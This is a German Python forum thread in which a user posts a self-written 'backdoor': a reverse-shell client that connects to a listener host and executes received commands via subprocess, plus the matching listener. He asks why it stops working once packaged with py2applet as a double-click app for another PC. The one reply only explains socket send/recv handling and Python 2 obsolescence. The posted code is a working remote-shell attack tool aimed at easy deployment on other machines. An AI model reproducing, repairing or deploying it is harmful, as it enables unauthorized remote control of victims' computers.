Applet funktioniert nur am eigenen Macbook

Wenn du dir nicht sicher bist, in welchem der anderen Foren du die Frage stellen sollst, dann bist du hier im Forum für allgemeine Fragen sicher richtig.
Antworten
thebrainNi
User
Beiträge: 2
Registriert: Montag 25. März 2019, 11:14

Hallo,
ich habe mir eine Backdoor geschrieben, mit der ich Zugriff auf den Terminal eines anderen PC's habe.
Zum Verständnis beschreibe ich einmal den Ablauf:
Ich aktiviere bei mir auf dem Terminal den BackdoorSender, dann führe ich auf einem anderen PC die Backdoor ,auf dem Terminal, ebenfalls aus. Das klappt auch alles soweit.

Jetzt hatte ich mir überlegt, dass es ja leichter ist, wenn auf dem zweiten PC nur ein einfacher doppelklick ausreicht, um die Backdoor zu aktivieren. Dafür habe ich nun py2applet benutzt. Wenn ich jetzt die App und den Sender an meinem Laptop ausführe klappt es auch. Sobald ich die App allerdings auf einem anderen PC starte kann die Backdoor sich plötzlich nicht mehr zum Sender verbinden. Auch wenn die App auf dem Zielgerät angefertigt wurde klappt es plötzlich nicht mehr.. Es geht nur auf einem einzelnen PC. Ohne App, sondern durch Ausführung im Terminal kann man jedoch Netzwerkfremde PCs ansteuern..

Wisst ihr warum das mit der App nicht mehr klappt?

Hier mal der Code auch, wenn der ja funktioniert, vielleicht hilft es ja...

Code backdoor:

Code: Alles auswählen

import socket
import subprocess


host = 'HIER STEHT DIE IP'
port = HIER STEHT EIN FREIER PORT
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("Backdoor running.")
while True :
	data = s.recv(256)
	proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE,
		stderr=subprocess.PIPE)
	stdout = proc.stderr.read()
	stderr = proc.stdout.read()
	
	s.send(stdout)
	s.send(stderr)
	s.send("done")

Code backdoorsender:

Code: Alles auswählen

import socket

host = ""
port = 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print("Connection to " + addr[0])
data = connection.recv(256)
print(data)
while True:
	cmd = raw_input("Command: ")
	connection.send(cmd) 
	data = connection.recv(256)
	print(data)
connection.close()
Benutzeravatar
__blackjack__
User
Beiträge: 13004
Registriert: Samstag 2. Juni 2018, 10:21
Wohnort: 127.0.0.1
Kontaktdaten:

@thebrainNi: Das funktioniert auch ohne App-Umwandlung nicht wirklich, weil die Socketprogrammierung kaputt ist. Und die Kommunikation mit dem Subprozess auch.

TCP ist ein Datenstrom. `recv()` garantiert das mindestens ein Byte davon gelesen wird. Auch wenn man 10 Bytes sendet auf der anderen Seite, muss der Empfäger auch dann noch funktionieren wenn er 10× `recv()` aufrufen muss. Auf der anderen Seite garantiert `send()` nicht, das alles was übergeben wurde, auch tatsächlich gesendet wurde. Die Methode gibt die Anzahl der tatsächlich gesendeten Bytes als Rückgabewert. Man muss das so lange mit dem Rest aufrufen bis auch sicher alles gesendet wurde. Oder man verwendet `sendall()`. Beim Empfangen muss man so lange lesen, bis auch tatsächlich sicher eine komplette Nachricht gelesen wurde. Dazu braucht man dann aber irgend ein Protokoll um das Ende der Nachricht feststellen zu können.

`raw_input()` ist Python 2 – man sollte heutzutage keine neuen Projekte mehr in Python 2 anfangen.
“Most people find the concept of programming obvious, but the doing impossible.” — Alan J. Perlis
Antworten